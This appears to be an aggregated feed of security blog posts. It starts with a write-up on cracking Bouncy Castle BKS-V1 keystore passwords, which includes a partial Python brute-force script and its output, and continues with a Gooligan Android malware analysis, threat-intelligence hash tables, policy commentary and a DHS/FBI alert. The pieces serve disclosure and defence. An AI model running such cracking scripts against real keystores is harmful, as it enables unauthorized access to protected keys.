sys.exit(0)
except jks.util.KeystoreSignatureException:
pass
except UnicodeDecodeError:
pass
with open(sys.argv[1]) as h:
pwlist = h.readlines()
for pw in pwlist:
trypw(sys.argv[2], pw.rstrip())
sys.exit(1)
Let's try this on the test BKS file that I have:
$ python crackbks.py strings.txt test.bks
Password for test.bks found: "Redefinir senha"
Cool. "Redefinir senha" seems like an unexpected password to me, but it's not terrible in strength. It has 15 characters, and uses mixed-case and a non-alphanumeric character (a space). Depending on the password-cracking technique used, it could hold up pretty well to bruteforce attacks.
The above proof-of-concept script is quite slow, since it will serially attempt passwords, one at a time. Taking advantage of multi-core systems in Python isn't as easy as it should be, due to the Python GIL. As a simple test, I tried using the ProcessPoolExecutor to see if I could increase my password-attempt throughput. ProcessPoolExecutor side-steps the GIL by spreading the work across multiple Python processes. Each Python process has its own GIL, but because multiple Python processes are being used, this approach should help better utilize my multiprocessor system.
Let's try this version of the brute-force cracking tool:
$ python crackbks.py strings.txt test.bks
Password for test.bks found: "Redefinir senha"
Password for test.bks found: "Activity started without extras"
Password for test.bks found: "query.is.any.user.logged.in"
Wait, what is going on here? How can a single BKS file accept multiple passwords? As it turns out, there are two things going on:
First, when I optimized my BKS bruteforce script with the use of ProcessPoolExecutor, I didn't factor in how the script would behave when it is distributed across multiple processes. In the single-threaded instance above, the script exits as soon as it finds the password. However, when it's distributed across multiple processes using ProcessPoolExecutor, things are different. I didn't have any code to explicitly terminate the parent Python process or any of the forked Python processes. The impact of this is that my multi-process BKS cracking script will continue to make attempts after it finds the password.
The other thing that is happening is related to the BKS file format, which I discuss below.
When a resource is password-protected with a single password, it is extremely unlikely that another password can also be used to unlock the resource. Consider the simple case where a collision-resistant hash function is used to verify the password: Is this password unique?
Applying a cryptographic hash function to the password results in the following hashes:
MD5 (128-bit): 18fcfa801383d10dd0a1fea051674469
SHA-1 (160-bit): c9e2ef80e5f2afb8aef0d058182cc7f59e93e025
SHA-256 (256-bit): 08a6c455079687616e997c7bfd626ae754ba1a71b229db1b3a515cfa45e9d4ea
The MD5 hash algorithm, which has a digest size of 128 bits, was shown in 1996 to be unsafe if a collision-resistant hash is required. By 2005, researchers produced a pair of PostScript documents and a pair of X.509 certificates where each pair shared the same MD5 hash. While it takes a bit of CPU processing power to find such collisions, it's feasible to do so with modern computing hardware.
The SHA-1 hash algorithm, which has a digest size of 160 bits, is more resistant to collisions than MD5. However by February 2017, the first known SHA-1 collision was produced. This attack required "the equivalent processing power as 6,500 years of single-CPU computations and 110 years of single-GPU computations."
The SHA-256 hash algorithm, which has a digest size of 256 bits, is even more resistant to collisions than SHA-1. To date, no collisions have been found using the SHA-256 hashing algorithm.
My naive BKS bruteforcing script produced three different passwords for the same BKS file. Let's look at the code for handling BKS files in pyjks:
hmac_fn = hashlib.sha1
hmac_digest_size = hmac_fn().digest_size
hmac_key_size = hmac_digest_size*8 if version != 1 else hmac_digest_size
hmac_key = rfc7292.derive_key(hmac_fn, rfc7292.PURPOSE_MAC_MATERIAL, store_password, salt, iteration_count, hmac_key_size//8)
Here we can see that the HMAC function is SHA-1, which isn't bad. However, it turns out that it's the HMAC key (and its size) that is important, since that's what determines whether the correct password has been provided to unlock the BKS keystore file. If the file is a BKS version 1 file, the hmac_key_size value will be the same as hmac_digest_size.
In the case of hashlib.sha1, the digest_size is 20 bytes (160 bits). But where it gets interesting is the derivation of hmac_key. The size of hmac_key is determined by hmac_key_size//8 (integer division, dropping any remainder). In this case, it's 20//8, which is 2 bytes (16 bits). Why is there integer division by 8 at all? It's not clear, but perhaps the developer confused where bits are used and bytes are used in the code.
Let's add a debugging print() statement to the bks.py component of pyjks and test our three different passwords for the same BKS keystore:
$ python -c "import jks; keystore = jks.bks.BksKeyStore.load('test.bks', 'Redefinir senha')" hmac_key: c019
$ python -c "import jks; keystore = jks.bks.BksKeyStore.load('test.bks', 'Activity started without extras')" hmac_key: c019
$ python -c "import jks; keystore = jks.bks.BksKeyStore.load('test.bks', 'query.is.any.user.logged.in')" hmac_key: c019
Here we can see that the hmac_key value is c019 (hex) with each of the three different passwords that are provided. In each of the three cases, the BKS-V1 keystore is decrypted, despite the likelihood that not one of the three accepted passwords was the one chosen by the software developer.
Why was I accidentally able to find BKS-V1 password collisions due to my shoddy Python programming skills? The maximum entropy you get from any BKS-V1 password is only 16 bits. This is nowhere near enough bits to represent a password. When it comes to password strength, entropy can be used as a measure. If only bruteforce techniques are used, each case-sensitive Latin alphabet character adds 5.7 bits of entropy. So a randomly-chosen three-character,case-sensitive Latin alphabet password will have 17.1 bits of entropy, which already exceeds the complexity of what you can represent in 16 bits. In other words, while a developer can choose a reasonably-strong password to protect the contents integrity of a BKS-V1 file, the file format itself only supports complexity equivalent to just less than what is provided by a randomly-selected case-sensitive three-letter password.
What amount of integrity protection does a 16-bit hmac_key provide? Virtually nothing. 16 bits can only represent 65,536 different values. What this means is regardless of the password complexity the developer has chosen, a bruteforce password cracker needs to try at most 65,536 times. A high-end GPU these days can crunch through over 10 billion SHA-1 operations per second.
As it turns out John the Ripper does have BKS file support, despite what my earlier web searches turned up. While there isn't currently GPU support for cracking BKS files, a CPU is plenty fast enough. My limited testing has shown that any BKS-V1 file can be cracked in about 10 seconds or less using just a single CPU core on a modern system.
Without a doubt, BKS-V1 keystore files are insecure, due to insufficient HMAC key size. Although BKS files support password protection to protect their contents integrity, the protection supplied by version 1 of the file format is nearly zero. For these reasons, here are recommendations for developers who use Bouncy Castle:
For more details, please see CERT Vulnerability Note VU#306792.
Over the last few months, UK media outlets have been filled with reports about the series of tough new measures being introduced on 9th May to protect our national critical infrastructure against cyber threats. In January, the government confirmed that UK critical infrastructure organisations may soon be liable for fines of up to £17m if they fail to implement robust cyber security measures, under its plans to implement the EU’s Network and Information Systems (NIS) Directive. But despite the tough talk, are the current proposals as rigorous as they sound?
In January, the government published its plans to implement the NIS Directive into UK law, following a public consultation. But despite the punitive penalty system, the response avoided making any hard recommendations and instead relies on a high level “appropriate and proportionate technical and organisational measures” regulatory approach of deferring responsibility to the National Cyber Security Centre (NCSC) and the Competent Authorities. Looking to the NCSC guidance, the series of measures it outlines are heavily weighted on reactive attack reporting rather than advising organisations on how to better shore up their perimeter with proactive defence solutions. As an example, within the guidance organisations are asked to define their own risk profile, and then prove their resiliency against that profile – the equivalent of being graded on a test you wrote yourself.
In this light, it’s unclear how the opportunity to set out a framework of minimum standards for CNI can be effectively achieved with the NIS Regulations. If the intended outcome is genuinely tied to resilience against cyber-attacks, then these essential services should be required to remain available during all but the most extreme cyber-attacks. The outcome described in the guidance points to merely the proper disclosure of failed protection and the swift recovery from that failure. My concern remains that implementation of the NIS Directive will be viewed as a mere “tick box” exercise which requires the bare minimum to be done, rather than allowing the UK to set world-leading standards in this area.
As a UK citizen, I fear that our government is failing to deliver on the promises outlined in its Digital Strategy, which pledged to make the UK “the safest place in the world to live and work online.” This is all deeply concerning, especially given that Ciaran Martin, the head of the NCSC, warned in January that it was a matter of “when, not if” the UK faces a major cyber-attack that might cripple infrastructure such as energy supplies or the financial services sector. Across all parts of critical national infrastructure, we are seeing a greater number of sophisticated and damaging cyber threats which are often believed to be the work of foreign governments seeking to cause political upheaval. Last year’s DDoS attacks against the transport network in Sweden caused train delays and disrupted travel services, while the WannaCry ransomware attacks last May demonstrated the capacity for cyber-attacks to impact people’s access to essential services. Only this month, we have seen a surge in record-breaking DDoS attacks that exploit the Memcached vulnerability.
As the draft NIS Regulations become UK law, we have a golden opportunity to improve the UK’s cyber security posture. Let’s hope we can still seize this moment and build an eco-system that genuinely protects our critical infrastructure against today’s cyber-attacks.
The leadership of our consultancy Crucial Point have been working to enhance the security posture and mitigate cyber risks for over a decade, successfully operating across multiple sectors of the economy to help leaders thwart dynamic adversaries. In doing so we have found most businesses can take steps to raise defenses before calling in the experts.
The nine steps below, taken from the Crucial Point Best Cybersecurity Practices page, can help kickstart the defense of any firm.
These steps are:
Those are just the first few steps. But please put them in place! By following community best practices you can make an immediate difference in your own security posture. These are, for the most part, things you can do yourself for very little cost.
To accelerate your implementation of these best practices, or to independently verify and validate your security posture and receive detailed action plans for improvement, contact Crucial Point here and ask about our CISO-as-a-Service offering.
The post These Best Practices Will Stop 90% Of The Cyber Threat appeared first on The Cyber Threat.
Proactive Steps to Promote Employee Cyber Security Compliance Your organization’s people are your first line of defense against cyber criminals. Unfortunately, they’re also your weakest link. Insiders pose the biggest threat to cyber security in the healthcare industry, and only 13% of public sector employees “take personal responsibility for cyber security.” Here are 10 proactive… Read More
The post 10 Tips to Improve Employee Cyber Security Compliance appeared first on .
Healthcare data security is under attack from the inside. While insider threats – due to employee error, carelessness, or malicious intent – are a problem in every industry, they are a particular pox on healthcare data security. Two recent reports illustrate the gravity of the situation.
Verizon’s 2018 Protected Health Information Data Breach Report, which examined 1,368 healthcare data security incidents in 27 countries (heavily weighted towards the U.S.), found that:
Meanwhile, a separate survey on healthcare data security conducted by Accenture found that nearly one in five healthcare employees would be willing to sell confidential patient data to a third party, and they would do so for as little as $500 to $1,000. Even worse, nearly one-quarter reported knowing “someone in their organization who has sold their credentials or access to an unauthorized outsider.”
Healthcare data security is especially tricky because numerous care providers require immediate and unrestricted access to patient information to do their jobs. Any hiccups along the way could result in a dead or maimed patient. However, there are proactive steps healthcare organizations can take to combat insider threats:
The cyber security experts at Continuum GRC have deep knowledge of the cyber security field, are continually monitoring the latest information security threats, and are committed to protecting your organization from security breaches. Continuum GRC offers full-service and in-house risk assessment and risk management subscriptions, and we help companies all around the world sustain proactive cyber security programs.
Continuum GRC is proactive cyber security®. Call 1-888-896-6207 to discuss your organization’s cyber security needs and find out how we can help your organization protect its systems and ensure compliance.
The post Employees Are Biggest Threat to Healthcare Data Security appeared first on .
This post provides an in-depth analysis of the inner workings of Gooligan, the infamous Android OAuth stealing botnet.
This is the second post of a series dedicated to the hunt and takedown of Gooligan that we did at Google, in collaboration with Check Point, in November 2016. The first post recounts Gooligan’s origin story and provides an overview of how it works. The final post discusses Gooligan’s various monetization schemas and its take down. As this post builds on the previous one , I encourage you to read it, if you haven’t done so already.
This series of posts is modeled after the talk I gave at Botconf in December 2017. Here is a re-recording of the talk:
You can also get the slides here but they are pretty bare.
Initially, users are tricked into installing Gooligan’s staging app on their device under one false pretense or another. Once this app is executed, it will fully compromise the device by performing the five steps outlined in the diagram below:
As emphasized in the chart above, the first four stages are mostly borrowed from Ghost Push . Gooligan authors main addition is the code needed to instrument the Play Store app using a complex injection process. This heavy code reuse initially made it difficult for us to separate Ghost Push samples from Gooligan ones. However, as soon as we had the full kill chain analyzed, we were able to write accurate detection signatures.
Most Gooligan samples hide their malicious payload in a fake image located in assets/close.png. This file is encrypted with a hardcoded [XOR encryption] function. This encryption is used to escape the signatures that detect the code that Gooligan borrows from previous malware. Encrypting malicious payload is a very old malware trick that has been used by Android malware since at least 2011.
Besides its encryption function, one of the most prominent Gooligan quirks is its weird (and poor) integrity verification algorithm. Basically, the integrity of the close.png file is checked by ensuring that the first ten bytes match the last ten. As illustrated in the diagram above, the oddest part of this schema is that the first five bytes (val 1) are compared with the last five, while bytes six through ten (val 2) are compared with the first five.
As alluded to earlier, Gooligan, like Snappea and Ghostpush, weaponizes the Kingroot exploit kit to gain root access. Kingroot operates in three stages: First, the malware gathers information about the phone that are sent to the exploit server. Next, the server looks up its database of exploits (which only affect Android 3.x and 4.x) and builds a payload tailored for the device. Finally, upon payload reception, the malware runs the payload to gain root access.
The weaponization of known exploits by cyber-criminals who lack exploit development capacity (or don't want to invest into it) is as old as crimeware itself. For example, DroidDream exploited Exploid and RageAgainstTheCage back in 2011. This pattern is common across every platform. For example, recently NSA-leaked exploit Eternal Blue was weaponized by the fake ransomware NoPetya. If you are interested in ransomware actors, check my posts on the subject.
Upon rooting the device, Gooligan patches the install-recovery.sh script to ensure that it will survive a factory reset. This resilience mechanism was the most problematic aspect of Gooligan, from a remediation perspective, because for the oldest devices, it only left us with OTA (over the air) update and device re-flashing as a way to remove it. This situation was due to the fact that very old devices don't have verified boot , as it was introduced in Android 4.4.
This difficult context, combined with the urgent need to help our users, led us to resort to a strategy that we rarely use: a coordinated takedown. The goal of this takedown was to disable key elements of the Gooligan infrastructure in a way that would ensure that the malware would be unable to work or update. As discussed in depth at the end of the post, we were able to isolate and take down Gooligan’s core server in less than a week thanks to a wide cross-industry effort. In particular, Kjell from the NorCert worked around the clock with us during the Thanksgiving holidays (thanks for all the help, Kjell!).
The final step of the infection is the injection of a shared library into the Play store app. This shared library allows Gooligan to manipulate the Play store app to download apps and inject review.
We traced the injection code back to publicly shared code . The library itself is very bare: the authors added only the code needed to call Play store functions. All the fraud logic is in the main app, probably because the authors are more familiar with Java than C.
Looking at the set of devices infected during the takedown revealed that most of the affected devices were from India, Latin America, and Asia, as visible in the map above. 19% of the infections were from India, and the top eight countries affected by Gooligan accounted for more than 50% of the infections.
In term of devices, as shown in the barchart above, the infections are spread across all the big brands, with Samsung and Micromax being unsurprisingly the most affected given their market share. Micromax is the leading Indian phone maker, which is not very well known in the U.S. and Europe because it has no presence there. It started manufacturing Android One devices in 2014 and is selling in quite a few countries besides India, most notably Russia.
Buried deep inside Gooligan patient zero code, Check Point researchers Andrey Polkovnichenko , Yoav Flint Rosenfeld , and Feixiang He , who worked with us during the escalation, found the very unusual text string oversea_adjust_read_redis. This string led to the discovery of a Chinese blog post discussing load balancer configuration, which in turn led to the full configuration file of Gooligan backend services.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#Ads API
acl is_ads path_beg /overseaads/
use_backend overseaads if is_ads
…
#Payment API
acl is_paystatis path_beg /overseapay/admin/
use_backend overseapaystatis if is_paystatis
...
# Play install
acl is_appstore path_beg /appstore/
use_backend overseapaystatis if is_appstore
...
Analyzing the exposed HAproxy configuration allowed us to pinpoint where the infrastructure was located and how the backend services were structured. As shown in the annotated configuration snippet above, the backend had API for click fraud, receiving payment from clients, and Play store abuse. While not visible above, there was also a complex admin and statistic-related API.
Combining the API endpoints and IPs exposed in the HAproxy configuration with our knowledge of Gooligan binary allowed us to reconstruct the infrastructure charted above. Overall, Gooligan was split into two main data centers: one in China and one overseas in the US, which was using Amazon AWS IPs. After the takedown, all the infrastructure ended up moving back to China.
Note: in the above diagram, the Fraud end-point appears twice. This is not a mistake: at Gooligan peak, its authors splited it out to sustain the load and better distribute the requests.
So, who is behind Gooligan? Based on this infrastructure analysis and other data, we strongly believe that it is a group operating from mainland China. Publicly, the group claims to be a marketing company, while under the hood it is mostly focused on running various fraudulent schema. The apparent authenticity of its front explains why some reputable companies ended up being scammed by this group. Bottom line: be careful who you buy ads or install from: If it is too good to be true...
In the final post of the serie, I discusses Gooligan various monetization schemas and its takedown. See you there!
Thank you for reading this post till the end! If you enjoyed it, don’t forget to share it on your favorite social network so that your friends and colleagues can enjoy it too and learn about Gooligan.
To get notified when my next post is online, follow me on Twitter , Facebook , Google+ , or LinkedIn . You can also get the full posts directly in your inbox by subscribing to the mailing list or via RSS .
A bientôt!
On Thursday, the U.S. government imposed sanctions against five entities and 19 individuals for their role in “destabilizing activities” ranging from interfering in the 2016 U.S. presidential election to carrying out destructive cyber-attacks such as NotPetya, an event that the Treasury department said is the most destructive and costly cyber-attack in history.
“These targeted sanctions are a part of a broader effort to address the ongoing nefarious attacks emanating from Russia,” said Treasury Secretary Steven T. Mnuchin in a press release. “Treasury intends to impose additional CAATSA [Countering America’s Adversaries Through Sanctions Act] sanctions, informed by our intelligence community, to hold Russian government officials and oligarchs accountable for their destabilizing activities by severing their access to the U.S. financial system.”
Nine of the 24 entities and individuals named on Thursday had already received previous sanctions from either President Obama or President Trump for unrelated reasons, The New York Times reported.
In addition to the sanctions, the Department of Homeland Security and the FBI issued a joint alert warning that the Russian government is targeting government entities as well as organizations in the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors.
According to the alert, Russian government cyber actors targeted small commercial facilities’ networks with a multi-stage intrusion campaign that staged malware, conducted spear phishing attacks, and gained remote access into energy sector networks. The actors then used their access to conduct network reconnaissance, move laterally, and collect information pertaining to Industrial Control Systems.
Other trending cybercrime events from the week include:
SurfWatch Labs collected data on many different companies tied to cybercrime over the past week. Some of the top trending targets are shown in the chart below.
Two of the largest data breaches of recent memory were back in the news this week due to Mossack Fonseca announcing that it is shutting down following the fallout from the Panama Papers breach as well as a former Equifax employee being charged with insider trading related to its massive breach.
Documents stolen from the Panamanian law firm Mossack Fonseca and leaked to the media in April 2016 were at the center of the scandal known as the Panama Papers, which largely revealed how rich individuals around the world were able to evade taxes in various countries.
“The reputational deterioration, the media campaign, the financial circus and the unusual actions by certain Panamanian authorities, have occasioned an irreversible damage that necessitates the obligatory ceasing of public operations at the end of the current month,” Mossack Fonseca wrote in a statement.
While Mossack Fonseca’s data breach appears to have finally led to the organization shutting down, Equifax’s massive breach announcement in September 2017 has since sparked a variety of regulatory questions, as well as criticism of the company’s leadership and allegations of insider trading.
Last week the SEC officially filed a complaint that alleges that Jun Ying, who was next in line to be the company’s global CIO, conducted insider trading by using confidential information entrusted to him by the company to conclude Equifax had suffered a serious breach, and Ying then exercised all of his vested Equifax stock options and sold the shares in the days before the breach was publicly disclosed.
“According to the complaint, by selling before public disclosure of the data breach, Ying avoided more than $117,000 in losses,” the SEC wrote in a press release.
Ying also faces criminal charges from the U.S. Attorney’s Office for the Northern District of Georgia.
This week, Patrick Laverty of Rapid7 joins us for an interview! Dick Wilkins of Phoenix Technologies joins us for our second feature interview! In the news, we have updates from Flash, Pwn2Own, VMware, and more on this episode of Paul's Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/Episode551
Visit https://www.securityweekly.com/psw for all the latest episodes!
About a week ago, a Tweet I was mentioned in received a dozen or so “likes” over a very short time period (about two minutes). I happened to be on my computer at the time, and quickly took a look at the accounts that generated those likes. They all followed a similar pattern. Here’s an example of one of the accounts’ profiles:
This particular avatar was very commonly used as a profile picture in these accounts.
All of the accounts I checked contained similar phrases in their description fields. Here’s a list of common phrases I identified:
All of the accounts also contained links to URLs in their description field that pointed to domains such as the following:
It turns out these are all shortened URLs, and the service behind each of them has the exact same landing page:
“I will ban drugs, spam, porn, etc.” Yeah, right.
My colleague, Sean, checked a few of the links and found that they landed on “adult dating” sites. Using a VPN to change the browser’s exit node, he noticed that the landing pages varied slightly by region. In Finland, the links ended up on a site called “Dirty Tinder”.
Checking further, I noticed that some of the accounts either followed, or were being followed by other accounts with similar traits, so I decided to write a script to programmatically “crawl” this network, in order to see how large it is.
The script I wrote was rather simple. It was seeded with the dozen or so accounts that I originally witnessed, and was designed to iterate friends and followers for each user, looking for other accounts displaying similar traits. Whenever a new account was discovered, it was added to the query list, and the process continued. Of course, due to Twitter API rate limit restrictions, the whole crawler loop was throttled so as to not perform more queries than the API allowed for, and hence crawling the network took quite some time.
My script recorded a graph of which accounts were following/followed by which other accounts. After a few hours I checked the output and discovered an interesting pattern:
Graph of follower/following relationships between identified accounts after about a day of running the discovery script.
The discovered accounts seemed to be forming independent “clusters” (through follow/friend relationships). This is not what you’d expect from a normal social interaction graph.
After running for several days the script had queried about 3000 accounts, and discovered a little over 22,000 accounts with similar traits. I stopped it there. Here’s a graph of the resulting network.
Pretty much the same pattern I’d seen after one day of crawling still existed after one week. Just a few of the clusters weren’t “flower” shaped. Here’s a few zooms of the graph.
Since I’d originally noticed several of these accounts liking the same tweet over a short period of time, I decided to check if the accounts in these clusters had anything in common. I started by checking this one:
Oddly enough, there were absolutely no similarities between these accounts. They were all created at very different times and all Tweeted/liked different things at different times. I checked a few other clusters and obtained similar results.
One interesting thing I found was that the accounts were created over a very long time period. Some of the accounts discovered were over eight years old. Here’s a breakdown of the account ages:
As you can see, this group has less new accounts in it than older ones. That big spike in the middle of the chart represents accounts that are about six years old. One reason why there are fewer new accounts in this network is because Twitter’s automation seems to be able to flag behaviors or patterns in fresh accounts and automatically restrict or suspend them. In fact, while my crawler was running, many of the accounts on the graphs above were restricted or suspended.
Here are a few more breakdowns – Tweets published, likes, followers and following.
Here’s a collage of some of the profile pictures found. I modified a python script to generate this – far better than using one of those “free” collage making tools available on the Internets. 
So what are these accounts doing? For the most part, it seems they’re simply trying to advertise the “adult dating” sites linked in the account profiles. They do this by liking, retweeting, and following random Twitter accounts at random times, fishing for clicks. I did find one that had been helping to sell stuff:
Individually the accounts probably don’t break any of Twitter’s terms of service. However, all of these accounts are likely controlled by a single entity. This network of accounts seems quite benign, but in theory, it could be quickly repurposed for other tasks including “Twitter marketing” (paid services to pad an account’s followers or engagement), or to amplify specific messages.
If you’re interested, I’ve saved a list of both screen_name and id_str for each discovered account here. You can also find the scraps of code I used while performing this research in that same github repo.
This week, Rami Essaid, Founder of Distil Networks joins us for an interview! In the news, we have updates from CyberArk, Tenable, Fortinet, & Rapid7! Our very own Michael Santarcangelo is joined by Matt Alderman on this episode of Enterprise Security Weekly!
Full Show Notes: https://wiki.securityweekly.com/ES_Episode83
Visit https://www.securityweekly.com/esw for all the latest episodes!
Since early 2018, FireEye (including our FireEye as a Service (FaaS), Mandiant Consulting, and iSIGHT Intelligence teams) has been tracking an ongoing wave of intrusions targeting engineering and maritime entities, especially those connected to South China Sea issues. The campaign is linked to a group of suspected Chinese cyber espionage actors we have tracked since 2013, dubbed TEMP.Periscope. The group has also been reported as “Leviathan” by other security firms.
The current campaign is a sharp escalation of detected activity since summer 2017. Like multiple other Chinese cyber espionage actors, TEMP.Periscope has recently re-emerged and has been observed conducting operations with a revised toolkit. Known targets of this group have been involved in the maritime industry, as well as engineering-focused entities, and include research institutes, academic organizations, and private firms in the United States. FireEye products have robust detection for the malware used in this campaign.
Active since at least 2013, TEMP.Periscope has primarily focused on maritime-related targets across multiple verticals, including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities. However, the group has also targeted professional/consulting services, high-tech industry, healthcare, and media/publishing. Identified victims were mostly found in the United States, although organizations in Europe and at least one in Hong Kong have also been affected. TEMP.Periscope overlaps in targeting, as well as tactics, techniques, and procedures (TTPs), with TEMP.Jumper, a group that also overlaps significantly with public reporting on “NanHaiShu.”
In their recent spike in activity, TEMP.Periscope has leveraged a relatively large library of malware shared with multiple other suspected Chinese groups. These tools include:
The following are tools that TEMP.Periscope has leveraged in past operations and could use again, though these have not been seen in the current wave of activity:
Additional identifying TTPs include:
The current wave of identified intrusions is consistent with TEMP.Periscope and likely reflects a concerted effort to target sectors that may yield information that could provide an economic advantage, research and development data, intellectual property, or an edge in commercial negotiations.
As we continue to investigate this activity, we may identify additional data leading to greater analytical confidence linking the operation to TEMP.Periscope or other known threat actors, as well as previously unknown campaigns.
File | Hash | Description |
x.js | 3fefa55daeb167931975c22df3eca20a | HOMEFRY, a 64-bit Windows password dumper/cracker |
mt.exe | 40528e368d323db0ac5c3f5e1efe4889 | MURKYTOP, a command-line reconnaissance tool |
com4.js | a68bf5fce22e7f1d6f999b7a580ae477 | AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages |
File | Hash | Description |
green.ddd | 3eb6f85ac046a96204096ab65bbd3e7e | AIRBREAK, a JavaScript-based backdoor which retrieves commands from hidden strings in compromised webpages |
BGij | 6e843ef4856336fe3ef4ed27a4c792b1 | Beacon, a commercially available backdoor |
msresamn.ttf | a9e7539c1ebe857bae6efceefaa9dd16 | PHOTO, also reported as Derusbi |
1024-aa6a121f98330df2edee6c4391df21ff43a33604 | bd9e4c82bf12c4e7a58221fc52fed705 | BADFLICK, backdoor that is capable of modifying the file system, generating a reverse shell, and modifying its command-and-control configuration |
U.S. government agencies are working hard to solve the problem of botnets and other cyber threats, and are asking for input from various stakeholders. In July 2017 the National Institute of Standards and Technology (NIST) conducted a Workshop on “Enhancing Resilience of the Internet and Communications Ecosystem.” The proceedings of that workshop were published as NISTIR 8192, "Enhancing Resilience of the Internet and Communications Ecosystem: A NIST Workshop Proceedings." Then, in early January the US Secretary of Commerce and Secretary of Homeland Security submitted A Report to the President on Enhancing the Resilience of the Internet and Communications Ecosystem against Botnets and Other Automated, Distributed Threats.”
To follow up on that report, which was open to public comments for 30 days, the National Institute of Standards and Technology (NIST) conducted a 2nd workshop, called “Enhancing Resilience of the Internet & Communications.” The workshop was held February 28-March 1 at NIST’s National Cybersecurity Center of Excellence (NCCEO) in Rockville, Maryland.
The workshop discussed substantive public comments, including open issues, on the draft report about actions to address automated and distributed threats to the digital ecosystem as part of the activity directed by Executive Order 13800, “Strengthening the Cybersecurity of Federal Networks and Critical Infrastructure.” According to the NIST website, “The Departments of Commerce and Homeland Security seek to engage all interested stakeholders—including private industry, academia, civil society, and other security experts—on the draft report, its characterization of the threat landscape, the goals laid out, and the actions to further these goals.” A final report from the departments of Homeland Security and Commerce, incorporating comments and other feedback received, is due to President Trump on May 11, 2018.
These workshops and reports are important steps in the right direction. It seems quite clear to various stakeholders across industry and government sectors that industry-government collaboration is essential to thwart cyber security threats. For starters, government can walk the talk by implementing best security practices and technologies in its operations, whether at federal or state levels. In addition, government can influence the marketplace via regulations and policies that are designed to make the Internet safer. For example, government may mandate that manufacturers build in tighter security for IoT devices, to make it harder for hackers to recruit those devices into botnets. Another possibility is that the government may impose regulations on Internet service providers, requiring them to provide protection from DDoS attacks, for example.
The Departments of Commerce and Homeland Security response to the Presidents’ Executive Order calls for businesses to improve their resilience to DDoS attacks. Corero released the “Government Response to Rise in IoT DDoS Botnet Threats” Solution Brief to detail how our solutions help our customers defend themselves against all DDoS attacks and to answer business and consumer requests for better protection from cyber threats. In general, businesses and consumers have influenced the marketplace by asking for (or in some ways, demanding) better protection from cyber threats. Competition inspires vendors to offer better solutions, and enterprises to adopt those solutions. For the sake of risk management, many companies have already taken steps to increase cyber security. And many telecommunications companies have responded to the market demand for DDoS protection, by offering DDoS protection as a service to their customers. On the other hand, some enterprises don’t understand the risks of DDoS attacks or take steps to mitigate them; the government can’t regulate or police all enterprises. If a major website gets attacked (perhaps a bank, or a hospital) and it impacts thousands of civilians, then both civilians and the enterprise are victimized. A case in point was the massive DDoS attack against Dyn, which impacted millions of end-users.
It’s crucial that the U.S. government take steps to advance cyber security. It can’t do it alone, however. When safeguarding the Internet for all users, a multi-stakeholder approach is essential. Though the government can help reduce IoT botnets, it cannot completely eliminate them, partly because the U.S. government can’t completely control what manufacturers do and what end-users do, especially in other countries. No one can assume that vendors around the world will bake in better security for IoT devices, or change their default passwords or update devices with security patches. No matter how heavily IoT devices are regulated or how many consumers are educated, millions of such devices around the world will still be unsecured and vulnerable to being recruited into a botnet.
Read Corero’s Government Response to Rise in IoT DDoS Botnet Threats Solution Brief to learn how our DDoS Defense solutions solve the problem of botnet-driven DDoS attacks. We have been a leader in DDoS protection solutions for over a decade, contact us to learn more about how we can help protect your network from all DDoS attacks.
It is difficult to tell the history of AI without first describing the formalization of computation and what it means for something to compute. The primary impetus towards formalization came down to a question posed by the mathematician David Hilbert in 1928.
This joint Technical Alert (TA) is the result of analytic efforts between the Department of Homeland Security (DHS) and the Federal Bureau of Investigation (FBI). This alert provides information on Russian government actions targeting U.S. Government entities as well as organizations in the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors. It also contains indicators of compromise (IOCs) and technical details on the tactics, techniques, and procedures (TTPs) used by Russian government cyber actors on compromised victim networks. DHS and FBI produced this alert to educate network defenders to enhance their ability to identify and reduce exposure to malicious activity.
DHS and FBI characterize this activity as a multi-stage intrusion campaign by Russian government cyber actors who targeted small commercial facilities’ networks where they staged malware, conducted spear phishing, and gained remote access into energy sector networks. After obtaining access, the Russian government cyber actors conducted network reconnaissance, moved laterally, and collected information pertaining to Industrial Control Systems (ICS).
For a downloadable copy of IOC packages and associated files, see:
Contact DHS or law enforcement immediately to report an intrusion and to request incident response resources or technical assistance.
Since at least March 2016, Russian government cyber actors—hereafter referred to as “threat actors”—targeted government entities and multiple U.S. critical infrastructure sectors, including the energy, nuclear, commercial facilities, water, aviation, and critical manufacturing sectors.
Analysis by DHS and FBI, resulted in the identification of distinct indicators and behaviors related to this activity. Of note, the report Dragonfly: Western energy sector targeted by sophisticated attack group, released by Symantec on September 6, 2017, provides additional information about this ongoing campaign. [1]
This campaign comprises two distinct categories of victims: staging and intended targets. The initial victims are peripheral organizations such as trusted third-party suppliers with less secure networks, referred to as “staging targets” throughout this alert. The threat actors used the staging targets’ networks as pivot points and malware repositories when targeting their final intended victims. NCCIC and FBI judge the ultimate objective of the actors is to compromise organizational networks, also referred to as the “intended target.”
Technical Details
The threat actors in this campaign employed a variety of TTPs, including
Using Cyber Kill Chain for Analysis
DHS used the Lockheed-Martin Cyber Kill Chain model to analyze, discuss, and dissect malicious cyber activity. Phases of the model include reconnaissance, weaponization, delivery, exploitation, installation, command and control, and actions on the objective. This section will provide a high-level overview of threat actors’ activities within this framework.
Stage 1: Reconnaissance
The threat actors appear to have deliberately chosen the organizations they targeted, rather than pursuing them as targets of opportunity. Staging targets held preexisting relationships with many of the intended targets. DHS analysis identified the threat actors accessing publicly available information hosted by organization-monitored networks during the reconnaissance phase. Based on forensic analysis, DHS assesses the threat actors sought information on network and organizational design and control system capabilities within organizations. These tactics are commonly used to collect the information needed for targeted spear-phishing attempts. In some cases, information posted to company websites, especially information that may appear to be innocuous, may contain operationally sensitive information. As an example, the threat actors downloaded a small photo from a publicly accessible human resources page. The image, when expanded, was a high-resolution photo that displayed control systems equipment models and status information in the background.
Analysis also revealed that the threat actors used compromised staging targets to download the source code for several intended targets’ websites. Additionally, the threat actors attempted to remotely access infrastructure such as corporate web-based email and virtual private network (VPN) connections.
Stage 2: Weaponization
Spear-Phishing Email TTPs
